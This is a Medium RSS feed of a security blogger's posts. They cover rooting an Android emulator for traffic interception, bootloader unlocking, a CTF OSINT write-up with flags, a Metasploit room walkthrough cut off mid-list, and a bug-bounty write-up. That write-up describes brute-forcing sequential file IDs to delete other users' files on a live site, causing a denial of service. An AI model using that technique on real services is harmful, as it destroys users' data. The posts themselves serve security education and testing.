<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Abhijeet Singh on Medium]]></title>
        <description><![CDATA[Stories by Abhijeet Singh on Medium]]></description>
        <link>https://medium.com/@abhiunix?source=rss-48581afe4398------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*IcWAkSiw6l6NrH9uKpbAdg.jpeg</url>
            <title>Stories by Abhijeet Singh on Medium</title>
            <link>https://medium.com/@abhiunix?source=rss-48581afe4398------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 02:55:02 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@abhiunix/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Building a Reliable XSS Evaluator: Solving the alert() Screenshot Problem Once and for All]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://abhiunix.medium.com/building-a-reliable-xss-evaluator-solving-the-alert-screenshot-problem-once-and-for-all-0bb9885e03b3?source=rss-48581afe4398------2"><img src="https://cdn-images-1.medium.com/max/1282/1*kYd3lTEYIvKBdapSQpbH5g.png" width="1282"></a></p><p class="medium-feed-snippet">If you are creating a pentesting agent and thinking about reducing false positive results, then you must have an evaluator LLM to judge&#x2026;</p><p class="medium-feed-link"><a href="https://abhiunix.medium.com/building-a-reliable-xss-evaluator-solving-the-alert-screenshot-problem-once-and-for-all-0bb9885e03b3?source=rss-48581afe4398------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://abhiunix.medium.com/building-a-reliable-xss-evaluator-solving-the-alert-screenshot-problem-once-and-for-all-0bb9885e03b3?source=rss-48581afe4398------2</link>
            <guid isPermaLink="false">https://medium.com/p/0bb9885e03b3</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[llm-agent]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Abhijeet Singh]]></dc:creator>
            <pubDate>Sun, 28 Sep 2025 09:34:01 GMT</pubDate>
            <atom:updated>2025-09-28T09:48:39.474Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[Bootloader unlocking | Pre-requisites of rooting an Android Device]]></title>
            <link>https://abhiunix.medium.com/bootloader-unlocking-pre-requisites-of-rooting-an-android-device-7f1fc0ee263?source=rss-48581afe4398------2</link>
            <guid isPermaLink="false">https://medium.com/p/7f1fc0ee263</guid>
            <category><![CDATA[bypass-bootloader]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[unlock-bootloader]]></category>
            <dc:creator><![CDATA[Abhijeet Singh]]></dc:creator>
            <pubDate>Mon, 30 Oct 2023 17:56:48 GMT</pubDate>
            <atom:updated>2023-10-30T17:56:48.326Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZVFyw0dmz6UfK0XLRBP9UQ.png" /><figcaption>bootloader</figcaption></figure><h3>What is Bootloader Unlock?</h3><p>A bootloader is a program that is the first thing that boots up in your device whenever you turn ON your device. It commands the device to run the appropriate programs in order to run smoothly and provide better performance. Moreover, the bootloader is stored away from the reach of the user and is stored at a stable memory so that the user cannot hamper the files. However, there are methods and ways via which you can safely unlock the bootloader of the device and go ahead with flashing a custom recovery to root your device. But, you should make sure to follow a reliable guide and follow the steps correctly in order to avoid any permanent damage to your phone, as it can soft brick or hard brick your device.</p><h3>Why do we need to unlock the bootloader?</h3><p>If you want to root your device then you have unlocked the bootloader on your device. It allows the user to go ahead and install restricted apps, mod apps, install custom OS like Lineage OS, etc on the device. Note that the unlocking of the bootloader will void the warranty of your device. So, it is better to allow the warranty period to get over and then unlock it.</p><h3>Advantages of bootloader unlock</h3><ul><li>You can install any custom ROM like Lineage OS, Resurrection ROM, etc.</li><li>You can also root your device.</li><li>Install a custom recovery like TWRP.</li></ul><h3>Disadvantages of bootloader unlock</h3><p>Below are the disadvantages of the bootloader unlock that you need to keep in mind before you go ahead and actually unlock the bootloader of your phone:</p><ul><li>After unlocking the bootloader, it voids the warranty of your device.</li><li>You will no longer receive the official OTA updates.</li><li>You can brick your device if you do not follow the steps carefully.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*GRMcguV5zwsBsu3GnPPRLA.png" /></figure><p>If you want to learn about rooting an AVD(Android <strong>Virtual Device</strong>) device, you can check out this blog post with step-by-step guidance:</p><p><a href="https://abhiunix.medium.com/rooting-avd-devices-b38774e3279c">https://abhiunix.medium.com/rooting-avd-devices-b38774e3279c</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7f1fc0ee263" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Rooting AVD devices.]]></title>
            <link>https://abhiunix.medium.com/rooting-avd-devices-b38774e3279c?source=rss-48581afe4398------2</link>
            <guid isPermaLink="false">https://medium.com/p/b38774e3279c</guid>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[avd]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[Abhijeet Singh]]></dc:creator>
            <pubDate>Mon, 30 Oct 2023 17:46:08 GMT</pubDate>
            <atom:updated>2023-10-30T17:46:08.357Z</atom:updated>
            <content:encoded><![CDATA[<p>This blog post was in my draft for a very long time and might be helpful for a few of you. I didn’t make any changes. Here it is.</p><p>On popular demand in the community, I’m writing this blog, where I’m going to share the step-by-step method to <strong>root</strong> and install a <strong>burp</strong> certificate as a <strong>system</strong> certificate in the <a href="https://developer.android.com/studio"><strong>Android Studio</strong></a><strong> </strong>emulator.</p><p>We were doing good in Android Pentesting before 2017 until Flutter came into the picture. It is an excellent tool for cross-platform development.<br>I know, most of the researchers are a fan of <a href="https://www.genymotion.com/">Genymotion</a>, but when it comes to flutter-based apps, it sucks! It really sucks!!</p><p>So I’ll be covering here the steps to root the Android Studio emulators and install the burp certificate as a system certificate in the emulator, so you can intercept most of the traffic directly via the burp suite.</p><p><strong>Prerequisites:</strong> Download and install <a href="https://developer.android.com/studio">Android Studio,</a> <a href="https://www.xda-developers.com/install-adb-windows-macos-linux/">platform-tools</a> (adb).</p><p><strong>Step-1:</strong> Open the Android studio and look for “Virtual Device Manager”. Then create a device of your own choice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XfD1vX5U1CnFXWAU_elaGw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*yFtS_HzLT_fJ1N7VhAXpTA.png" /><figcaption>&gt;</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*nJ2EgjmncaDufL2v2_7fcw.png" /></figure><p>You can check the root status of the device either with an app such as <a href="https://play.google.com/store/apps/details?id=com.joeykrim.rootcheck&amp;hl=en&amp;gl=US">root checker</a> or directly jump into adb shell and try to run su . You will get Permission denied .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/477/1*ba0iInY1BEnkXhGRgKtZMQ.png" /></figure><p>Now you need to root this emulator with the <a href="https://github.com/newbit1/rootAVD"><strong>rootAVD</strong></a> script.</p><p><strong>Step-2:</strong> Download this script from <a href="https://github.com/newbit1/rootAVD">https://github.com/newbit1/rootAVD</a>. Unzip it and give the executable permissions to rootAVD.sh file. (rootAVD.bat, if you’re using Windows). Use the following commands:</p><pre>cd rootAVD<br>chmod +x rootAVD.sh<br>./rootAVD.sh <br>//To see the help</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*v9J-_pVtr3rdHDnZO6XY0g.png" /></figure><p>Now list all the Android Virtual Devices and choose the commands with respect to your API Level.</p><pre>./rootAVD.sh ListAllAVDs<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aMpz8eNaDiTfXaaDpu5ZSg.png" /></figure><pre>./rootAVD.sh ~/Library/Android/sdk/system-images/android-30/google_apis_playstore/arm64-v8a/ramdisk.img</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-mbaXdLBSraTIHmAqeLhUg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j4In_nSVmcazFD0edbrX0Q.png" /></figure><p>After this process, your device will be restarted automatically. Sometimes it gets stuck at this stage and shows a black/blank screen. In such case choose Cold Boot Now option from the menu. It should work this time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*1ib6znJY6fOP15HpHbXQ1A.png" /></figure><p>Now your device has been rooted and you will be able to see the <strong>Magisk</strong> App in your app drawer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/1*zh6LEotqrVERmapVk_CsPQ.png" /></figure><p>Now download and install the <a href="https://androidapksfree.com/root-checker/com-joeykrim-rootcheck/">root checker</a> app and you will notice that your device has been rooted successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*CBl6jLjfe6P3DdhD-cUlaw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*ikbu_c3L7kjVztM06UdpTA.png" /></figure><p>Similarly, you will be asked for Superuser Request when you try to run su command in adb shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/386/1*L9kcDjsj1z9WKDm7jVzNiA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*j7oiqDdLqR1t8Um4ER9DFQ.png" /></figure><p>Now it’s time to install burp certificate. Firstly export the Burp suite’s certificate in <strong><em>der</em></strong> format:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*U6y8iZ4cWTciPpZE-cHbuA.png" /></figure><p>As we already know android does not support CA certificate in der format, we have to convert it into <strong><em>cer</em></strong> format using this website www.sslhhopper.com</p><p><a href="https://www.sslshopper.com/ssl-converter.html">SSL Converter</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*cOIHP6r7GpQ6HTJknNZNPw.png" /></figure><p>Now install that converted CA certificate(.cer format) in your emulator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/420/1*lpGbMAKhT9rg07h--sH5hA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*XeI2lzkWpkyRs44rGOayfg.png" /></figure><p>90% of the work has been done now. Only thing left is to move the certificate from <strong><em>user</em></strong> installed to <strong><em>system</em></strong> certificate. Use this <a href="https://github.com/NVISOsecurity/MagiskTrustUserCerts">MagiskTrustedUserCerts</a> tool to do the rest of the job(how? read further).</p><p>Download the release directly from this link: <a href="https://github.com/NVISOsecurity/MagiskTrustUserCerts/releases/download/v0.4.1/AlwaysTrustUserCerts.zip">https://github.com/NVISOsecurity/MagiskTrustUserCerts/releases/download/v0.4.1/AlwaysTrustUserCerts.zip</a> or use the below command to directly download it into the terminal.</p><pre>wget https://github.com/NVISOsecurity/MagiskTrustUserCerts/releases/download/v0.4.1/AlwaysTrustUserCerts.zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iqaFs2wrHAkc8oDRAs6D-g.png" /></figure><p>Now import that downloaded zip file AlwaysTrustUserCerts.zip file to your Android emulator device. After importing the file, open the Magisk App and go to the Modules tab. Select Install from storage and choose AlwaysTrustUserCerts.zip file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/1*OuUMzMlAY5QPnD6IKYeBPg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/1*0eD2NwONonyoccKI6GO7rA.png" /></figure><p>After installation, you will be able to see that the certificate has been moved to `System`.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*J6l9O_QxY90NUtzgiNnrhw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/1*pBMM5YwsUStz-TXXX4e2Ow.png" /></figure><p>Now you can set up your burp proxy and intercept the request easily.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b38774e3279c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Breaking Application’s Logic to DOS Attack]]></title>
            <link>https://abhiunix.medium.com/breaking-applications-logic-to-dos-attack-88326cd0dd82?source=rss-48581afe4398------2</link>
            <guid isPermaLink="false">https://medium.com/p/88326cd0dd82</guid>
            <category><![CDATA[idor]]></category>
            <category><![CDATA[denial-of-service]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Abhijeet Singh]]></dc:creator>
            <pubDate>Thu, 02 Sep 2021 09:23:50 GMT</pubDate>
            <atom:updated>2021-09-02T09:23:50.849Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey guys,<br>Recently I had found a bug which was fine enough to deserve this post. So, I thought of writing it up here. I can not disclose the name of the company because of the Non-Disclosure Agreement(NDA). So I’ll be using <strong><em>redacted.com</em></strong> for further references.</p><h3>TL;DR</h3><p>I found a parameter in POST Request, which was vulnerable to <strong><em>IDOR</em></strong>. The parameter was <strong><em>sequential</em></strong> in nature which has given me advantage for creating a <strong><em>Denial of Service</em></strong> attack in the application with a python script which I wrote for that particular application. No WAF (Web Application Firewall) could have able to detect this attack, as this was completely logical behaviour of the application (you’ll get later on).</p><h4>Prerequisites</h4><p><strong>What do you understand by DOS attack?<br></strong><em>In computing, a denial-of-service attack is a cyber-attack in which the perpetrator seeks to make a machine or network resource unavailable to its intended users by temporarily or indefinitely disrupting services of a host connected to the Internet. [From: </em><a href="https://en.wikipedia.org/wiki/Denial-of-service_attack"><em>Wikipedia</em></a><em>].</em><br>Ok, and in addition to that, this is what <a href="https://us-cert.cisa.gov/ncas/tips/ST04-015"><strong>US-CERT</strong></a> says:<br> <em>A denial-of-service condition is accomplished by flooding the targeted host or network with traffic </em><strong><em>until the target cannot respond or simply crashes</em></strong><em>, preventing access for legitimate users.</em></p><p>and this is what I understand, “<em>if an attacker is able to stop users to use any functionality or feature inside the application after(or during) an attack” should be considered as a Denial of Service attack</em>.</p><h4>Let’s begin with initial bug(IDOR),</h4><p>This application was similar to <a href="https://wetransfer.com/">Wetransfer</a>, where a user can send a file to another user by providing some details such as Receiver’s email, Sender’s email, mobile number (should be verified) and Files (of course).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*bG0nYMMLc6Y6oLEbJ58rHg.png" /><figcaption>how it looks</figcaption></figure><p>When you upload a file, in response we get a file id of that uploaded file. You can also see the <strong><em>file_id</em></strong> from the <strong><em>Inspector</em></strong> also.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*tqJV_m37n3QrgAnk3yc98Q.jpeg" /><figcaption>Upload a file &gt; get a file_id.</figcaption></figure><p>Also there was an option to remove the file(from the server), if you have uploaded a wrong file. Now here is a catch, <strong><em>file_id</em></strong> was sequential in nature and when we try removing the file, the <strong><em>POST</em></strong> Request was generated with the <strong><em>file_id</em></strong> parameter in the Request body. Here’s the request of removing a file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*P2xdCufp6WUtRMK8oyok4w.png" /><figcaption>If file was present then it shows <strong>success</strong>, otherwise <strong>fail</strong>.</figcaption></figure><p>Now many of you have already got in their mind that there could be an IDOR(Insecure Direct Object References). So yes, you can remove the files, as there were no Access Control on removing the file. <br>Ok, so anyone could have removed your file just by knowing your <strong><em>file_id</em></strong>. Even though the <strong><em>file_id</em></strong> was sequential, so you can simply <strong><em>brute force</em></strong> it. <br>When the file_id got removed then user simply get an error message, saying <strong><em>“Something went wrong, Please try again”.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*gyCRu3qznOMCIKzzzaAt2w.png" /><figcaption>error message</figcaption></figure><p>So what can be done next, to increase the severity of this bug? Think for a minute and then go down reading it further.</p><h3><strong>IDOR -&gt; DOS</strong></h3><p>Until now we get an IDOR (Severity: High), now I’ll show you, how I increased it to Critical(DOS attack) by writing a simple python script.</p><p>I wrote a script, in which I defined a <strong><em>range</em></strong> for which it sends the POST Request to remove a particular file_id in that range. And once the script finds that any <strong><em>file_id</em></strong> is successfully removed then range adjust itself automatically (i.e. increases it’s range). See the script first:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/343393c92d7ab6d96d9042a101b7a965/href">https://medium.com/media/343393c92d7ab6d96d9042a101b7a965/href</a></iframe><h4><strong>What does this script do?</strong></h4><p>Firstly you have to upload a file on that website and get the current file_id (by Inspector).<br><strong>1.</strong> Now run the script by passing the file_id value as an argument. eg:<br> (python3 dos_poc.py 310).<br><strong>2.</strong> The script will create a range from 310 to 330.<br><strong>3.</strong> It will send a Post Request to remove the file_ids ranging between 310 to 330.<br><strong>4.</strong> If the script found a success message in response of any request, then it will increase it’s range automatically. eg: if 310 was found success(in response) then new range will be 311 to 331. and the attack continues..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/312/1*qne72cG4vJGQvsbdPg5EzQ.png" /></figure><h3><strong>Impact</strong></h3><p>So, when I run my script, anyone who try to share the files through that website got affected and their files get deleted automatically from the server and shows them an error message <strong><em>“Something went wrong, Please try again later.”.</em></strong></p><p>So chaining with an IDOR vulnerability I made that site vulnerable to Denial of Services attack. This DOS attack was completely logical, no WAF could have ever detected that attack because of its non-malicious behaviour.</p><h3>Takeaways:</h3><p>&gt; We should always think to chain the vulnerability to increase the severity(look for the highest). <br>&gt; Access Control bugs becomes more interesting if you chain it with some other bugs. Think about it.<br>&gt; Follow me on Twitter for more. 😉</p><p>For any queries, DMs are open:</p><p>Twitter: <a href="https://twitter.com/abhiunix">https://twitter.com/abhiunix</a><br>LinkedIn: <a href="https://linkedin.com/in/abhiunix">https://linkedin.com/in/abhiunix</a><br>Thank you!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=88326cd0dd82" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[csictf-2020 OSINT Write-up]]></title>
            <link>https://infosecwriteups.com/csictf-2020-osint-write-up-a1df5cd72a81?source=rss-48581afe4398------2</link>
            <guid isPermaLink="false">https://medium.com/p/a1df5cd72a81</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[csictf]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Abhijeet Singh]]></dc:creator>
            <pubDate>Thu, 23 Jul 2020 06:00:42 GMT</pubDate>
            <atom:updated>2021-02-22T09:11:56.192Z</atom:updated>
            <content:encoded><![CDATA[<p>A month back, in June-2020 we a team(<a href="https://ctftime.org/team/126059"><em>fr3nzyM1n3rs</em></a>) of 3 members started doing CTFs for the first time. As a beginner we were practicing on different platforms. <br>After few days of practice we started taking part in CTFs seriously. Few days back we came to know about this CTF hosted by csictf Team.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9cpf_6jOnxZTdWqktCedgQ.png" /><figcaption><a href="https://ctf.csivit.com/">https://ctf.csivit.com</a></figcaption></figure><p>So, in this write-up I’ll cover up the OSINT challenges. Which contains the following challenge names:</p><ol><li><strong><em>PIRATES OF MEMORIAL</em></strong></li><li><strong><em>FLYING PLACES</em></strong></li><li><strong><em>LO SCAMPO</em></strong></li><li><strong><em>SHAKEN</em></strong></li><li><strong><em>COMMITMENT</em></strong></li></ol><h3><strong>PIRATES OF MEMORIAL</strong></h3><p><strong>Challenge Description: </strong><em>The original photographer of this picture commented the flag on his post. Find the flag.</em></p><p><strong>Attachments:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*GHF5etL5zowqmlIfGUWljg.jpeg" /><figcaption>storm.jpeg</figcaption></figure><p>Tagging the icon on the most bottom-left corner gives me the idea that it might be a screenshot from Instagram. Still, as everyone starts OSINT, I also started this by doing an Image search on Google Image. And I found this interesting:</p><figure><img alt="Google_Image Search Result" src="https://cdn-images-1.medium.com/max/762/1*nEOX8m3xAeHLdk67YQkyTg.png" /><figcaption>Google_Image Search Result</figcaption></figure><p>After visiting this URL, I got to know that who is the owner of this beautiful shot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*8m94iF9-cJw-adlilGSFZQ.jpeg" /><figcaption>Twitter</figcaption></figure><p>Now I searched this guy on Instagram and found the original picture posted on 15-October-2019. And the flag was commented out there.</p><figure><img alt="Original Pic by arunopal17" src="https://cdn-images-1.medium.com/max/985/1*J4f8npGCyzJcW_emwMbKDg.jpeg" /><figcaption>Original pic by <strong>arunopal17 </strong>(<a href="https://www.instagram.com/arunopal17/">https://www.instagram.com/arunopal17/</a>)</figcaption></figure><p><strong>Flag: <em>csictf{pl4g14r1sm_1s_b4d}</em></strong></p><h3>FLYING PLACES</h3><p><strong>Challenge Description:</strong> <em>A reporter wanted to know where this flight is headed. </em><strong><em>Where does he (the reporter) live</em></strong><em>?</em></p><p>Attachments:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TWn9Eww8j_9NEaNte6nV_A.jpeg" /><figcaption>Flight.jpg</figcaption></figure><p>Again same process, started this by doing image-search on Google-Images. <br>After visiting few URLs, I got to know that <strong>Alibaba co-founder Jack Ma has sent the first shipment of surgical masks and coronavirus test kits to the US.<br></strong>The very first link in the search results took me to this link <a href="https://www.bbc.com/news/business-51904379"><strong>https://www.bbc.com/news/business-51904379</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*D0hp4MZI1Hfx0V-a-SWApA.png" /><figcaption>Google-Image search Results</figcaption></figure><p>By visiting the <strong>BBC news</strong> link I got to know that <strong><em>Jack Ma</em></strong> has posted this <em>officially</em> on his <em>Twitter</em> handle.<br>So, what next could be done? I followed the original post and analyzed the comments on his post and found this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*tKOUwFLLQ1Dd4_88TJ4B0A.jpeg" /></figure><p>As per the description of the challenge the flag should be <strong>San Francisco</strong>.</p><p><strong>Flag: <em>csictf{san_francisco}</em></strong></p><h3>LO SCAMPO</h3><p><strong>Challenge Description:</strong> <em>Malcolm X took Broiestevane to a Day of the Dead themed party but she never returned. Her only friends, Mr Bean and the Pink Panther realised that she was missing when she didn’t show up for an exam. Broiestevane liked posting pictures,</em><strong><em> where was the party held</em></strong><em>? (Don’t forget to wrap your answer in csictf{}).</em></p><p>No attachments were given this time. So, I started searching out the username `Broiestevane` on different social media platforms (with help of <a href="https://instantusername.com/#/">https://instantusername.com/#/</a>). And on Instagram I found this profile:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*TfSVVi0vNabNYoSPyMFq7g.jpeg" /><figcaption>Insta Profile of <strong>broiestevane</strong></figcaption></figure><p>You can see the link in the bio. I clicked the link and I found this post which contains the location:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*zzU9ATm3hfdVRsVkgx7sGw.jpeg" /><figcaption>Post of liberty_hotel</figcaption></figure><p>Now as per the description of the challenge, Liberty Hotel Boston should be our flag.</p><p><strong>Flag: <em>csictf{liberty_hotel_boston}</em></strong></p><h3><strong>SHAKEN</strong></h3><p><strong>Challenge Description:</strong> <em>I love this watch. It’s been with me all over the world, from Istanbul to Shanghai to Macau.I wear it with suits quite a lot. My boss liked it too. I remember wearing it when she died. What is her successor’s name?</em></p><p>Again no attachments were given. Anyone could have done this challenge easily if he/she has watched the <a href="https://www.imdb.com/title/tt1074638/">Skyfall-MI6</a> movie. Either I got the clue by searching `from Istanbul to Shanghai to Macau` in Google. <br>After few unrelated result I switched it to Google-Image search and found this interesting:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cpzabght2QeT6Wp8eZDlYA.png" /><figcaption>Search Result of <strong><em>`from Istanbul to Shanghai to Macau`</em></strong></figcaption></figure><p>Now at this point of time I think you might have got the answer too. Since I saw this movie 4–5 year back. I again gone through the brief summary again xD. After some research I got to know that the challenge wants to know the <strong><em>successor of Judi Dench</em></strong><em>(M) </em><strong><em>in James Bond. <br></em></strong>Now what, simply search it on Google and and found this result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*-yEm-A-YjsOWeOUxdOkD0g.png" /></figure><p><strong>Flag: <em>csictf{gareth_mallory}</em></strong></p><h3><strong>COMMITMENT</strong></h3><p><strong>Challenge Description:</strong> <em>hoshimaseok is up to no good. Track him down.</em></p><p>Again this time I started with username search on <a href="https://instantusername.com/#/"><strong><em>instantusername</em></strong></a><strong><em>.<br></em></strong>Github profile of this user caught my eyes.:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*gnSUQ2YP9OwJGtXDscM_vQ.png" /><figcaption><a href="https://github.com/hoshimaseok/SomethingFishy">https://github.com/hoshimaseok/SomethingFishy</a></figcaption></figure><p>This profile was having a repository <strong><em>SomethingFishy </em></strong>with <strong>2 branches. </strong>I started comparing the branches.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*HgwAutJ5I8YAKoY0lKP69g.png" /><figcaption><a href="https://github.com/hoshimaseok/SomethingFishy/compare/dev">https://github.com/hoshimaseok/SomethingFishy/compare/dev</a></figcaption></figure><p>This looks interesting. Opened that particular description and found the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DtSpmGzMqG_6fLp5f36uFA.png" /><figcaption>Flag!!</figcaption></figure><p><strong><em>FLAG = csictf{sc4r3d_0f_c0mm1tm3nt}.</em></strong></p><p>I would recommend this OSINT framework while your research:<br><a href="https://osintframework.com/"><strong>https://osintframework.com</strong></a></p><p>Thanks for reading so far.</p><p>To connect:<em> </em><a href="http://https//twitter.com/abhiunix"><em>Twitter</em></a><em><br></em>Web:<em> https://abhiunix.in</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a1df5cd72a81" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/csictf-2020-osint-write-up-a1df5cd72a81">csictf-2020 OSINT Write-up</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RP: Metasploit Walkthrough: TryHackMe]]></title>
            <link>https://infosecwriteups.com/rp-metasploit-walkthrough-tryhackme-63f01ce1f535?source=rss-48581afe4398------2</link>
            <guid isPermaLink="false">https://medium.com/p/63f01ce1f535</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[rpmetasploit]]></category>
            <category><![CDATA[metasploit]]></category>
            <dc:creator><![CDATA[Abhijeet Singh]]></dc:creator>
            <pubDate>Sun, 05 Jul 2020 03:43:45 GMT</pubDate>
            <atom:updated>2021-02-22T09:12:27.552Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*-mVgJOnMCM9Xu_1CIhVMqQ.jpeg" /></figure><p>As the heading says it all. This is the walkthrough of `RP: Metasploit`. The room link is <a href="https://tryhackme.com/room/rpmetasploit">https://tryhackme.com/room/rpmetasploit</a>.</p><p>I suggest you follow the guidelines and instructions carefully. They are well explained.</p><h3><strong>[Task 1] </strong><em>Intro</em></h3><p>Metasploit, an open-source pen-testing framework, is a powerful tool utilized by security engineers around the world. Maintained by Rapid 7, Metasploit is a collection of not only thoroughly tested exploits but also auxiliary and post-exploitation tools. Throughout this room, we will explore the basics of using this massive framework and a few of the modules it includes.</p><p><strong><em>#1 </em></strong>Kali and most other security distributions of Linux include Metasploit by default. If you are using a different distribution of Linux, verify that you have it installed or install it from the Rapid 7 Github repository.</p><h3><strong>[Task 2] <em>Initializing…</em></strong></h3><p><strong>#1 </strong>First things first, we need to initialize the database! Let’s do that now with the command:</p><blockquote>msfdb init</blockquote><p><strong>#2 </strong>Before starting Metasploit, we can view some of the advanced options we can trigger for starting the console. Check these out now by using the command:</p><blockquote>msfconsole -h</blockquote><p><strong>#3 </strong>We can start the Metasploit console on the command line without showing the banner or any startup information as well. What switch do we add to msfconsole to start it without showing this information? This will include the ‘-’</p><blockquote>-q</blockquote><p><strong>#4</strong> Once the database is initialized, go ahead and start Metasploit via the command:</p><blockquote>msfconsole</blockquote><p>#5 After Metasploit has started, let’s go ahead and check that we’ve connected to the database. Do this now with the command:</p><blockquote>db_status</blockquote><p>#6 Cool! We’ve connected to the database, which type of database does Metasploit 5 use?</p><blockquote>postgresql</blockquote><h3><strong>[Task 3] </strong><em>Rock ’em to the Core [Commands]</em></h3><p>Using the help menu, let’s now learn the base commands and the module categories in Metasploit. Nearly all of the answers to the following questions can be found in the Metasploit help menu.</p><p>#1 Let’s go ahead and start exploring the help menu. On the Metasploit prompt (where we’ll be at after we start Metasploit using msfconsole), type the command:</p><blockquote>help</blockquote><p>#2 The help menu has a very short one-character alias, what is 